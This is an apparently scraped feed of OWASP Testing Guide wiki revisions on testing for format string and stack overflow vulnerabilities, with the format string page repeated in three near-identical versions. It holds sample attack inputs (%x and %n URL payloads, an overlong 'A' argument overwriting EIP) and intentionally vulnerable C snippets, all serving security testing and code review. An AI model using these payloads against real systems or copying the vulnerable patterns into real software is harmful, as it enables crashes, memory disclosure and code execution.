		<id>https://wiki.owasp.org/index.php?title=Testing_for_Format_String&amp;diff=38726</id>
		<title>Testing for Format String</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Format_String&amp;diff=38726"/>
				<updated>2008-09-07T07:56:50Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: /* Gray Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
This section describes how to test for format string attacks that can be used to crash a program or to execute harmful code. &lt;br /&gt;
The problem stems from the use of unfiltered user input as the format string parameter in certain C functions that perform formatting, such as printf().&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Various C-Style languages provision formatting of output by means of functions like printf( ), fprintf( ) etc. &lt;br /&gt;
&lt;br /&gt;
Formatting is governed by a parameter to these functions termed as format type specifier, typically %s, %c etc.&lt;br /&gt;
&lt;br /&gt;
The vulnerability arises on account of format functions being called with inadequate parameters validation and user controlled data. &lt;br /&gt;
&lt;br /&gt;
A simple example would be printf(argv[1]). In this case the type specifier has not been explicitly declared, allowing a user to pass characters such as %s, %n, %x to the application by means of command line argument argv[1].&lt;br /&gt;
&lt;br /&gt;
This situation tends to become precarious on account of the fact that a user who can supply format specifiers can perform the following malicious actions:&lt;br /&gt;
&lt;br /&gt;
'''Enumerate process Stack:''' This allows an adversary to view stack organization of the vulnerable process by supplying format strings such as %x or %p, which can lead to leakage of sensitive information. It can also be used to extract canary values when the application is protected with a stack protection mechanism. Coupled with a stack overflow, this information can be used to bypass the stack protector.&lt;br /&gt;
&lt;br /&gt;
'''Control Execution Flow:''' This vulnerability can also facilitate arbitrary code execution since it allows writing 4 bytes of data to an address supplied by the adversary. The specifier %n comes handy for overwriting various function pointers in memory with address of the malicious payload. When these overwritten function pointers get called, execution passes to the malicious code.&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service:''' In case the adversary is not in a position to supply malicious code for execution, the vulnerable application can be crashed by supplying a sequence of %x followed by %n.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
The key to testing format string vulnerabilities is supplying format type specifiers in application input.&lt;br /&gt;
&lt;br /&gt;
For example, consider an application that processes the URL string &lt;br /&gt;
http://xyzhost.com/html/en/index.htm or accepts inputs from forms. If format string vulnerability exists in one of the routines processing this information, supplying a URL like http://xyzhost.com/html/en/index.htm%n%n%n or passing %n in one of the form fields might crash the application creating a core dump in the hosting folder.&lt;br /&gt;
&lt;br /&gt;
Format string vulnerabilities manifest mainly in web servers, application servers or web applications utilizing C/C++ based code or CGI scripts written in C. In most of these cases an error reporting or logging function like syslog( ) has been called insecurely.&lt;br /&gt;
&lt;br /&gt;
When testing CGI scripts for format string vulnerabilities, the input parameters can be manipulated to include %x or %n type specifiers. For example a legitimate request like&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;http://hostname/cgi-bin/query.cgi?name=john&amp;amp;code=45765 &amp;lt;/nowiki&amp;gt;''' &lt;br /&gt;
&lt;br /&gt;
can be altered to &lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;http://hostname/cgi-bin/query.cgi?name=john%x.%x.%x&amp;amp;code=45765%x.%x&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
In case a format string vulnerability exists in the routine processing this request, the tester will be able to see stack data being printed out to browser.  &lt;br /&gt;
 &lt;br /&gt;
In case of unavailability of code, the process of reviewing assembly fragments (also known as reverse engineering binaries) would yield substantial information about format string bugs. &lt;br /&gt;
&lt;br /&gt;
Take the instance of code (1) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(int argc, char **argv)&lt;br /&gt;
{&lt;br /&gt;
printf(&amp;quot;The string entered is\n&amp;quot;);&lt;br /&gt;
printf(“%s”,argv[1]);&lt;br /&gt;
return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
when the disassembly is examined using IDA Pro, the address of a format type specifier being pushed on the stack is clearly visible before a call to printf is made.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[image:IDA Pro.gif]] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On the other hand when the same code is compiled without “%s” as an argument , the variation in assembly is apparent. As seen below, there is no offset being pushed on the stack before calling printf.&lt;br /&gt;
&lt;br /&gt;
[[image:IDA Pro 2.gif]]&lt;br /&gt;
 &lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
&lt;br /&gt;
While performing code reviews, nearly all format string vulnerabilities can be detected by use of static code analysis tools. Subjecting the code shown in (1) to ITS4, which is a static code analysis tool, gives the following output.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[image:ITS4.gif]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The functions that are primarily responsible for format string vulnerabilities are ones that treat format specifiers as optional. Therefore when manually reviewing code, emphasis can be given to functions such as:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
printf&lt;br /&gt;
fprintf&lt;br /&gt;
sprintf&lt;br /&gt;
snprintf&lt;br /&gt;
vfprintf&lt;br /&gt;
vprintf&lt;br /&gt;
vsprintf&lt;br /&gt;
vsnprintf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
There can be several formatting functions that are specific to the development platform. These should also be reviewed for absence of format strings once their argument usage has been understood.&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Tim Newsham: &amp;quot;A paper on format string attacks&amp;quot; - http://comsec.theclerk.com/CISSP/FormatString.pdf&lt;br /&gt;
* Team Teso: &amp;quot;Exploiting format String Vulnerabilities&amp;quot; - http://www.cs.ucsb.edu/~jzhou/security/formats-teso.html&lt;br /&gt;
* Analysis of format string bugs - http://julianor.tripod.com/format-bug-analysis.pdf&lt;br /&gt;
* Format functions manual page - http://www.die.net/doc/linux/man/man3/fprintf.3.html&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&lt;br /&gt;
* ITS4: &amp;quot;A static code analysis tool for identifying format string vulnerabilities using source code&amp;quot; - http://www.cigital.com/its4&lt;br /&gt;
* A disassembler for analyzing format bugs in assembly - http://www.datarescue.com/idabase&lt;br /&gt;
* An exploit string builder for format bugs - http://seclists.org/lists/pen-test/2001/Aug/0014.html&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Format_String&amp;diff=38725</id>
		<title>Testing for Format String</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Format_String&amp;diff=38725"/>
				<updated>2008-09-07T07:52:43Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: /* Description of the Issue */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
This section describes how to test for format string attacks that can be used to crash a program or to execute harmful code. &lt;br /&gt;
The problem stems from the use of unfiltered user input as the format string parameter in certain C functions that perform formatting, such as printf().&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Various C-Style languages provision formatting of output by means of functions like printf( ), fprintf( ) etc. &lt;br /&gt;
&lt;br /&gt;
Formatting is governed by a parameter to these functions termed as format type specifier, typically %s, %c etc.&lt;br /&gt;
&lt;br /&gt;
The vulnerability arises on account of format functions being called with inadequate parameters validation and user controlled data. &lt;br /&gt;
&lt;br /&gt;
A simple example would be printf(argv[1]). In this case the type specifier has not been explicitly declared, allowing a user to pass characters such as %s, %n, %x to the application by means of command line argument argv[1].&lt;br /&gt;
&lt;br /&gt;
This situation tends to become precarious on account of the fact that a user who can supply format specifiers can perform the following malicious actions:&lt;br /&gt;
&lt;br /&gt;
'''Enumerate process Stack:''' This allows an adversary to view stack organization of the vulnerable process by supplying format strings such as %x or %p, which can lead to leakage of sensitive information. It can also be used to extract canary values when the application is protected with a stack protection mechanism. Coupled with a stack overflow, this information can be used to bypass the stack protector.&lt;br /&gt;
&lt;br /&gt;
'''Control Execution Flow:''' This vulnerability can also facilitate arbitrary code execution since it allows writing 4 bytes of data to an address supplied by the adversary. The specifier %n comes handy for overwriting various function pointers in memory with address of the malicious payload. When these overwritten function pointers get called, execution passes to the malicious code.&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service:''' In case the adversary is not in a position to supply malicious code for execution, the vulnerable application can be crashed by supplying a sequence of %x followed by %n.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
The key to testing format string vulnerabilities is supplying format type specifiers in application input.&lt;br /&gt;
&lt;br /&gt;
For example, consider an application that processes the URL string &lt;br /&gt;
http://xyzhost.com/html/en/index.htm or accepts inputs from forms. If format string vulnerability exists in one of the routines processing this information, supplying a URL like http://xyzhost.com/html/en/index.htm%n%n%n or passing %n in one of the form fields might crash the application creating a core dump in the hosting folder.&lt;br /&gt;
&lt;br /&gt;
Format string vulnerabilities manifest mainly in web servers, application servers or web applications utilizing C/C++ based code or CGI scripts written in C. In most of these cases an error reporting or logging function like syslog( ) has been called insecurely.&lt;br /&gt;
&lt;br /&gt;
When testing CGI scripts for format string vulnerabilities, the input parameters can be manipulated to include %x or %n type specifiers. For example a legitimate request like&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;http://hostname/cgi-bin/query.cgi?name=john&amp;amp;code=45765 &amp;lt;/nowiki&amp;gt;''' &lt;br /&gt;
&lt;br /&gt;
can be altered to &lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;http://hostname/cgi-bin/query.cgi?name=john%x.%x.%x&amp;amp;code=45765%x.%x&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
In case a format string vulnerability exists in the routine processing this request, the tester will be able to see stack data being printed out to browser.  &lt;br /&gt;
 &lt;br /&gt;
In case of unavailability of code, the process of reviewing assembly fragments (also known as reverse engineering binaries) would yield substantial information about format string bugs. &lt;br /&gt;
&lt;br /&gt;
Take the instance of code (1) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(int argc, char **argv)&lt;br /&gt;
{&lt;br /&gt;
printf(&amp;quot;The string entered is\n&amp;quot;);&lt;br /&gt;
printf(“%s”,argv[1]);&lt;br /&gt;
return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
when the disassembly is examined using IDA Pro, the address of a format type specifier being pushed on the stack is clearly visible before a call to printf is made.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[image:IDA Pro.gif]] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On the other hand when the same code is compiled without “%s” as an argument , the variation in assembly is apparent. As seen below, there is no offset being pushed on the stack before calling printf.&lt;br /&gt;
&lt;br /&gt;
[[image:IDA Pro 2.gif]]&lt;br /&gt;
 &lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
&lt;br /&gt;
While performing code reviews, nearly all format string vulnerabilities can be detected by use of static code analysis tools. Subjecting the code shown in (1) to ITS4, which is a static code analysis tool, gives the following output.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[image:ITS4.gif]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The functions that are primarily responsible for format string vulnerabilities are ones that treat format specifiers as optional. Therefore when manually reviewing code, emphasis can be given to functions such as:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Printf&lt;br /&gt;
Fprintf&lt;br /&gt;
Sprintf&lt;br /&gt;
Snprintf&lt;br /&gt;
Vfprintf&lt;br /&gt;
Vprintf&lt;br /&gt;
Vsprintf&lt;br /&gt;
Vsnprintf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
There can be several formatting functions that are specific to the development platform. These should also be reviewed for absence of format strings once their argument usage has been understood.  &lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Tim Newsham: &amp;quot;A paper on format string attacks&amp;quot; - http://comsec.theclerk.com/CISSP/FormatString.pdf&lt;br /&gt;
* Team Teso: &amp;quot;Exploiting format String Vulnerabilities&amp;quot; - http://www.cs.ucsb.edu/~jzhou/security/formats-teso.html&lt;br /&gt;
* Analysis of format string bugs - http://julianor.tripod.com/format-bug-analysis.pdf&lt;br /&gt;
* Format functions manual page - http://www.die.net/doc/linux/man/man3/fprintf.3.html&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&lt;br /&gt;
* ITS4: &amp;quot;A static code analysis tool for identifying format string vulnerabilities using source code&amp;quot; - http://www.cigital.com/its4&lt;br /&gt;
* A disassembler for analyzing format bugs in assembly - http://www.datarescue.com/idabase&lt;br /&gt;
* An exploit string builder for format bugs - http://seclists.org/lists/pen-test/2001/Aug/0014.html&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Format_String&amp;diff=38724</id>
		<title>Testing for Format String</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Format_String&amp;diff=38724"/>
				<updated>2008-09-07T07:31:06Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: /* Brief Summary */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
This section describes how to test for format string attacks that can be used to crash a program or to execute harmful code. &lt;br /&gt;
The problem stems from the use of unfiltered user input as the format string parameter in certain C functions that perform formatting, such as printf().&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Various C-Style languages provision formatting of output by means of functions like printf( ), fprintf( ) etc. &lt;br /&gt;
&lt;br /&gt;
Formatting is governed by a parameter to these functions termed as format type specifier, typically %s, %c etc.&lt;br /&gt;
&lt;br /&gt;
The vulnerability arises on account of format functions being called with inadequate parameters and user controlled Data. &lt;br /&gt;
&lt;br /&gt;
A simple example would be printf(argv[1]). In this case the type specifier has not been explicitly declared, allowing a user to pass characters such %s, %n, %x to the application by means of command line argument argv[1].&lt;br /&gt;
&lt;br /&gt;
This situation tends to become precarious on account of the fact that a user who can supply format specifiers can perform the following malicious actions:&lt;br /&gt;
&lt;br /&gt;
'''Enumerate process Stack:''' This allows an adversary to view stack organization of the vulnerable process by supplying format strings such as %x or %p, which can lead to leakage of sensitive information. It can also be used to extract canary values when the application is protected with a stack protection mechanism. Coupled with a stack overflow, this information can be used to bypass the stack protector.&lt;br /&gt;
&lt;br /&gt;
'''Control Execution Flow:''' This vulnerability can also facilitate arbitrary code execution since it allows writing 4 bytes of data to an address supplied by the adversary. The specifier %n comes handy for overwriting various function pointers in memory with address of the malicious payload. When these overwritten function pointers get called, execution passes to the malicious code.&lt;br /&gt;
&lt;br /&gt;
'''Denial of Service:''' In case the adversary is not in a position to supply malicious code for execution, the vulnerable application can be crashed by supplying a sequence of %x followed by %n. &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
The key to testing format string vulnerabilities is supplying format type specifiers in application input.&lt;br /&gt;
&lt;br /&gt;
For example, consider an application that processes the URL string &lt;br /&gt;
http://xyzhost.com/html/en/index.htm or accepts inputs from forms. If format string vulnerability exists in one of the routines processing this information, supplying a URL like http://xyzhost.com/html/en/index.htm%n%n%n or passing %n in one of the form fields might crash the application creating a core dump in the hosting folder.&lt;br /&gt;
&lt;br /&gt;
Format string vulnerabilities manifest mainly in web servers, application servers or web applications utilizing C/C++ based code or CGI scripts written in C. In most of these cases an error reporting or logging function like syslog( ) has been called insecurely.&lt;br /&gt;
&lt;br /&gt;
When testing CGI scripts for format string vulnerabilities, the input parameters can be manipulated to include %x or %n type specifiers. For example a legitimate request like&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;http://hostname/cgi-bin/query.cgi?name=john&amp;amp;code=45765 &amp;lt;/nowiki&amp;gt;''' &lt;br /&gt;
&lt;br /&gt;
can be altered to &lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;http://hostname/cgi-bin/query.cgi?name=john%x.%x.%x&amp;amp;code=45765%x.%x&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
In case a format string vulnerability exists in the routine processing this request, the tester will be able to see stack data being printed out to browser.  &lt;br /&gt;
 &lt;br /&gt;
In case of unavailability of code, the process of reviewing assembly fragments (also known as reverse engineering binaries) would yield substantial information about format string bugs. &lt;br /&gt;
&lt;br /&gt;
Take the instance of code (1) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(int argc, char **argv)&lt;br /&gt;
{&lt;br /&gt;
printf(&amp;quot;The string entered is\n&amp;quot;);&lt;br /&gt;
printf(“%s”,argv[1]);&lt;br /&gt;
return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
when the disassembly is examined using IDA Pro, the address of a format type specifier being pushed on the stack is clearly visible before a call to printf is made.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[image:IDA Pro.gif]] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On the other hand when the same code is compiled without “%s” as an argument , the variation in assembly is apparent. As seen below, there is no offset being pushed on the stack before calling printf.&lt;br /&gt;
&lt;br /&gt;
[[image:IDA Pro 2.gif]]&lt;br /&gt;
 &lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
&lt;br /&gt;
While performing code reviews, nearly all format string vulnerabilities can be detected by use of static code analysis tools. Subjecting the code shown in (1) to ITS4, which is a static code analysis tool, gives the following output.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[image:ITS4.gif]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The functions that are primarily responsible for format string vulnerabilities are ones that treat format specifiers as optional. Therefore when manually reviewing code, emphasis can be given to functions such as:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Printf&lt;br /&gt;
Fprintf&lt;br /&gt;
Sprintf&lt;br /&gt;
Snprintf&lt;br /&gt;
Vfprintf&lt;br /&gt;
Vprintf&lt;br /&gt;
Vsprintf&lt;br /&gt;
Vsnprintf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
There can be several formatting functions that are specific to the development platform. These should also be reviewed for absence of format strings once their argument usage has been understood.  &lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Tim Newsham: &amp;quot;A paper on format string attacks&amp;quot; - http://comsec.theclerk.com/CISSP/FormatString.pdf&lt;br /&gt;
* Team Teso: &amp;quot;Exploiting format String Vulnerabilities&amp;quot; - http://www.cs.ucsb.edu/~jzhou/security/formats-teso.html&lt;br /&gt;
* Analysis of format string bugs - http://julianor.tripod.com/format-bug-analysis.pdf&lt;br /&gt;
* Format functions manual page - http://www.die.net/doc/linux/man/man3/fprintf.3.html&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&lt;br /&gt;
* ITS4: &amp;quot;A static code analysis tool for identifying format string vulnerabilities using source code&amp;quot; - http://www.cigital.com/its4&lt;br /&gt;
* A disassembler for analyzing format bugs in assembly - http://www.datarescue.com/idabase&lt;br /&gt;
* An exploit string builder for format bugs - http://seclists.org/lists/pen-test/2001/Aug/0014.html&lt;/div&gt;</summary>
		<author><name>Namn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Stack_Overflow&amp;diff=38723</id>
		<title>Testing for Stack Overflow</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Stack_Overflow&amp;diff=38723"/>
				<updated>2008-09-07T07:27:03Z</updated>
		
		<summary type="html">&lt;p&gt;Namn: /* Gray Box testing and example */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
This section discusses about a particular overflow test that focuses on how to manipulate the program stack.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Stack overflow|Stack overflows]] occur when variable size data is copied into fixed length buffers located on the program stack without any bounds checking.   &lt;br /&gt;
Vulnerabilities of this class are generally considered to be of high severity since their exploitation would mostly permit arbitrary code execution or Denial of Service. Rarely found in interpreted platforms, code written in C and similar languages is often ridden with instances of this vulnerability. An extract from the buffer overflow section of OWASP Development Guide 2.0 states that:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
“Almost every platform, with the following notable exceptions:&lt;br /&gt;
J2EE – as long as native methods or system calls are not invoked&lt;br /&gt;
.NET – as long as /unsafe or unmanaged code is not invoked (such as the use of P/Invoke or COM Interop)&lt;br /&gt;
PHP – as long as external programs and vulnerable PHP extensions written in C or C++ are not called “ &lt;br /&gt;
can suffer from stack overflow issues.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Stack overflow vulnerabilities often allow an attacker to directly take control of the instruction pointer and, therefore, alter the execution of the program and execute arbitrary code. Besides  overwriting the instruction pointer, similar results can also be obtained by overwriting other variables and structures, like Exception Handlers, which are located on the stack.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
The key to testing an application for stack overflow vulnerabilities is supplying overly large input data as compared to what is expected. &lt;br /&gt;
However, subjecting the application to arbitrarily large data is not sufficient. It becomes necessary to inspect the application’s execution flow and responses to ascertain whether an overflow has actually been triggered or not. Therefore, the steps required to locate and validate stack overflows would involve attaching a debugger to the target application or process, generate malformed input for the application, subject application to malformed input, and inspect responses in debugger. The debugger allows the tester to view the execution flow and the state of the registers when the vulnerability gets triggered.&lt;br /&gt;
&lt;br /&gt;
On the other hand, a more passive form of testing can be employed, which involves inspecting assembly code of the application by using disassemblers. In this case various sections are scanned for signatures of vulnerable assembly fragments. This is often termed as reverse engineering and is a tedious process.&lt;br /&gt;
&lt;br /&gt;
As a simple example, consider the following technique employed while testing an executable “sample.exe” for stack overflows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include&amp;lt;stdio.h&amp;gt;&lt;br /&gt;
int main(int argc, char *argv[])&lt;br /&gt;
{&lt;br /&gt;
  char buff[20];&lt;br /&gt;
  printf(&amp;quot;copying into buffer&amp;quot;);   &lt;br /&gt;
  strcpy(buff,argv[1]);&lt;br /&gt;
  return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File sample.exe is launched in a debugger, in our case OllyDbg.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[image:stack overflow vulnerability.gif]]&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Since the application is expecting command line arguments, a large sequence of characters such as ‘A’, can be supplied in the argument field shown above.&lt;br /&gt;
&lt;br /&gt;
On opening the executable with the supplied arguments and continuing execution the following results are obtained.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[image:stack overflow vulnerability 2.gif]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
As shown in the registers window of the debugger, the EIP or extended Instruction pointer, which points to the next instruction to be executed, contains the value ‘41414141’. ‘41’ is a hexadecimal representation for the character ‘A’ and therefore the string ‘AAAA’ translates to 41414141.&lt;br /&gt;
&lt;br /&gt;
This clearly demonstrates how input data can be used to overwrite the instruction pointer with user supplied values and control program execution. A stack overflow can also allow overwriting of stack based structures like SEH (Structured Exception Handler) to control code execution and bypass certain stack protection mechanisms.&lt;br /&gt;
&lt;br /&gt;
As mentioned previously, other methods of testing such vulnerabilities include reverse engineering the application binaries, which is a complex and tedious process, and using fuzzing techniques.&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
&lt;br /&gt;
When reviewing code for stack overflows, it is advisable to search for calls to insecure library functions like gets(), strcpy(), strcat() etc which do not validate the length of source strings and blindly copy data into fixed size buffers.&lt;br /&gt;
&lt;br /&gt;
For example consider the following function:-&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void log_create(int severity, char *inpt) {&lt;br /&gt;
&lt;br /&gt;
char b[1024];&lt;br /&gt;
&lt;br /&gt;
if (severity == 1)&lt;br /&gt;
{&lt;br /&gt;
strcat(b,”Error occured on”);&lt;br /&gt;
strcat(b,&amp;quot;:&amp;quot;);&lt;br /&gt;
strcat(b,inpt); &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
FILE *fd = fopen (&amp;quot;logfile.log&amp;quot;, &amp;quot;a&amp;quot;);&lt;br /&gt;
fprintf(fd, &amp;quot;%s&amp;quot;, b);&lt;br /&gt;
fclose(fd);&lt;br /&gt;
&lt;br /&gt;
. . . . . .&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
From above, the line strcat(b,inpt) will result in a stack overflow in case inpt exceeds 1024 bytes. Not only does this demonstrate an insecure usage of strcat, it also shows how important it is to examine the length of strings referenced by a character pointer that is passed as an argument to a function; In this case the length of string referenced by char *inpt. Therefore it is always a good idea to trace back the source of function arguments and ascertain string lengths while reviewing code. &lt;br /&gt;
&lt;br /&gt;
Usage of the relatively safer strncpy() can also lead to stack overflows since it only restricts the number of bytes copied into the destination buffer. In case the size argument that is used to accomplish this is generated dynamically based on user input or calculated inaccurately within loops, it is possible to overflow stack buffers.  For example:-&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void func(char *source)&lt;br /&gt;
{&lt;br /&gt;
Char dest[40];&lt;br /&gt;
…&lt;br /&gt;
size=strlen(source)+1&lt;br /&gt;
….&lt;br /&gt;
strncpy(dest,source,size) &lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
where source is user controllable data. A good example would be the samba trans2open stack overflow vulnerability (http://www.securityfocus.com/archive/1/317615). &lt;br /&gt;
&lt;br /&gt;
Vulnerabilities can also appear in URL and address parsing code. In such cases a function like memccpy() is usually employed which copies data into a destination buffer from source till a specified character is not encountered. Consider the function: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void func(char *path)&lt;br /&gt;
{&lt;br /&gt;
char servaddr[40];&lt;br /&gt;
…&lt;br /&gt;
memccpy(servaddr,path,'\');&lt;br /&gt;
….&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this case the information contained in path could be greater than 40 bytes before ‘\’ can be encountered. If so it will cause a stack overflow. A similar vulnerability was located in Windows RPCSS subsystem (MS03-026). The vulnerable code copied server names from UNC paths into a fixed size buffer till a ‘\’ was encountered. The length of the server name in this case was controllable by users.&lt;br /&gt;
&lt;br /&gt;
Apart from manually reviewing code for stack overflows, static code analysis tools can also be of great assistance. Although they tend to generate a lot of false positives and would barely be able to locate a small portion of defects, they certainly help in reducing the overhead associated with finding low hanging fruits like strcpy() and sprintf() bugs. A variety of tools like RATS, Flawfinder and ITS4 are available for analyzing C-style languages.&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Defeating Stack Based Buffer Overflow Prevention Mechanism of Windows 2003 Server - http://www.ngssoftware.com/papers/defeating-w2k3-stack-protection.pdf&lt;br /&gt;
* Aleph One: &amp;quot;Smashing the Stack for Fun and Profit&amp;quot; - http://www.phrack.org/issues.html?issue=49&amp;amp;id=14#article&lt;br /&gt;
* Tal Zeltzer: &amp;quot;Basic stack overflow exploitation on Win32&amp;quot; - http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Basic_stack_overflow_exploiting_on_win32&lt;br /&gt;
* Tal Zeltzer&amp;quot;Exploiting Default SEH to increase Exploit Stability&amp;quot; - &lt;br /&gt;
http://www.securityforest.com/wiki/index.php/Exploit:_Stack_Overflows_-_Exploiting_default_seh_to_increase_stability&lt;br /&gt;
* The Samba trans2open stack overflow vulnerability - http://www.securityfocus.com/archive/1/317615&lt;br /&gt;
* Windows RPC DCOM vulnerability details - http://www.xfocus.org/documents/200307/2.html&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* OllyDbg: &amp;quot;A windows based debugger used for analyzing buffer overflow vulnerabilities&amp;quot; - http://www.ollydbg.de&lt;br /&gt;
